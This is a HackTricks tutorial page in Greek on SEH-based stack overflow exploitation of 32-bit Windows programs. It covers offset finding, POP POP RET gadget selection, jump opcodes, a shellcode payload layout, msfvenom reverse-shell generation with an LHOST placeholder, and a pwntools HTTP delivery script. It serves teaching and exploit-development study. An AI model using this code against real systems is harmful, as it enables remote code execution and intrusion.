Windows Εκμετάλλευση Stack Overflow βασισμένη σε SEH (nSEH/SEH)
Reading time: 7 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Η SEH-based exploitation είναι μια κλασική τεχνική x86 Windows που εκμεταλλεύεται την Structured Exception Handler αλυσίδα που αποθηκεύεται στο stack. Όταν ένα stack buffer overflow υπερισχύει των δύο 4-byte πεδίων
- nSEH: pointer to the next SEH record, and
- SEH: pointer to the exception handler function
ένας επιτιθέμενος μπορεί να πάρει τον έλεγχο της εκτέλεσης με:
- Την τοποθέτηση του SEH στη διεύθυνση ενός POP POP RET gadget σε ένα μη προστατευμένο module, έτσι ώστε όταν διανεμηθεί μια εξαίρεση το gadget να επιστρέψει σε bytes που ελέγχονται από τον επιτιθέμενο, και
- Τη χρήση του nSEH για να ανακατευθύνει την εκτέλεση (τυπικά ένα short jump) πίσω στο μεγάλο overflow buffer όπου βρίσκεται το shellcode.
Αυτή η τεχνική είναι ειδική για 32-bit processes (x86). Σε σύγχρονα συστήματα, προτιμήστε ένα module χωρίς SafeSEH και ASLR για το gadget. Τα bad characters συχνά περιλαμβάνουν 0x00, 0x0a, 0x0d (NUL/CR/LF) λόγω C-strings και HTTP parsing.
Finding exact offsets (nSEH / SEH)
- Crashtάρετε τη διαδικασία και επαληθεύστε ότι η SEH chain έχει υπερισχυθεί (π.χ., σε x32dbg/x64dbg ελέγξτε την SEH view).
- Στείλτε ένα cyclic pattern ως τα overflowing data και υπολογίστε τα offsets των δύο dwords που καταλήγουν σε nSEH και SEH.
Παράδειγμα με peda/GEF/pwntools σε ένα 1000-byte POST body:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
Επιβεβαιώστε τοποθετώντας δείκτες σε αυτές τις θέσεις (π.χ., nSEH=b"BB", SEH=b"CC"). Διατηρήστε το συνολικό μήκος σταθερό για να κάνετε το crash αναπαραγώγιμο.
Επιλογή ενός POP POP RET (SEH gadget)
Χρειάζεστε μια ακολουθία POP POP RET για να ξετυλίξετε το SEH frame και να επιστρέψετε στα bytes του nSEH. Βρείτε το σε ένα module χωρίς SafeSEH και ιδανικά χωρίς ASLR:
- Mona (Immunity/WinDbg):
!mona modules
then!mona seh -m modulename
. - x64dbg plugin ERC.Xdbg:
ERC --SEH
to list POP POP RET gadgets and SafeSEH status.
Επιλέξτε μια διεύθυνση που δεν περιέχει badchars όταν γραφτεί σε little-endian (π.χ., p32(0x004094D8)
). Προτιμήστε gadgets μέσα στο ευάλωτο binary αν οι προστασίες το επιτρέπουν.
Τεχνική jump-back (short + near jmp)
Το nSEH έχει μόνο 4 bytes, που χωράει το πολύ ένα 2-byte short jump (EB xx
) συν padding. Αν χρειάζεται να πηδήξετε πίσω εκατοντάδες bytes για να φτάσετε στην αρχή του buffer σας, χρησιμοποιήστε ένα 5-byte near jump τοποθετημένο ακριβώς πριν από το nSEH και συνδέστε το με ένα short jump από το nSEH.
With nasmshell:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
Ιδέα διάταξης για ένα 1000-byte payload με nSEH στο offset 660:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
Ροή εκτέλεσης:
- Προκύπτει εξαίρεση, ο dispatcher χρησιμοποιεί το SEH που έχει αντικατασταθεί.
- Η ακολουθία POP POP RET οδηγεί στο nSEH μας.
- Το nSEH εκτελεί
jmp short -8
προς το 5-byte near jump. - Ο near jump προσγειώνεται στην αρχή του buffer μας, όπου βρίσκεται το NOP sled + shellcode.
Απαγορευμένοι χαρακτήρες
Δημιούργησε ένα πλήρες badchar string και σύγκρινε τη μνήμη του stack μετά την κατάρρευση, αφαιρώντας bytes που παραμορφώνονται από τον parser του στόχου. Για HTTP-based overflows, \x00\x0a\x0d
σχεδόν πάντα εξαιρούνται.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Shellcode generation (x86)
Χρησιμοποιήστε msfvenom με τα badchars σας. Ένα μικρό NOP sled βοηθάει να αντέχεται η διακύμανση στη θέση εκτέλεσης.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
Αν δημιουργείται δυναμικά, η μορφή hex είναι βολική για ενσωμάτωση και για unhex σε Python:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
Delivering over HTTP (precise CRLF + Content-Length)
Όταν το ευάλωτο σημείο εισόδου είναι το σώμα ενός HTTP request, κατασκευάστε ένα raw request με ακριβή CRLFs και Content-Length, ώστε ο server να διαβάσει ολόκληρο το σώμα που υπερχείλισε.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
Εργαλεία
- x32dbg/x64dbg για παρατήρηση της αλυσίδας SEH και αρχική αξιολόγηση του crash.
- ERC.Xdbg (x64dbg plugin) για να απαριθμήσει SEH gadgets:
ERC --SEH
. - Mona ως εναλλακτική:
!mona modules
,!mona seh
. - nasmshell για τη συναρμολόγηση short/near jumps και την αντιγραφή raw opcodes.
- pwntools για τη δημιουργία ακριβών network payloads.
Σημειώσεις και επιφυλάξεις
- Ισχύει μόνο για x86 διεργασίες. x64 χρησιμοποιεί διαφορετικό σχήμα SEH και η εκμετάλλευση βάσει SEH γενικά δεν είναι βιώσιμη.
- Προτιμήστε gadgets σε modules χωρίς SafeSEH και ASLR· διαφορετικά, βρείτε ένα μη προστατευμένο module που έχει φορτωθεί στη διεργασία.
- Οι service watchdogs που επανεκκινούν αυτόματα μετά από crash μπορούν να κάνουν ευκολότερη την επαναληπτική ανάπτυξη exploit.
References
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)
- Corelan – Exploit writing tutorial part 7 (SEH)
- Mona.py – WinDbg/Immunity helper
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.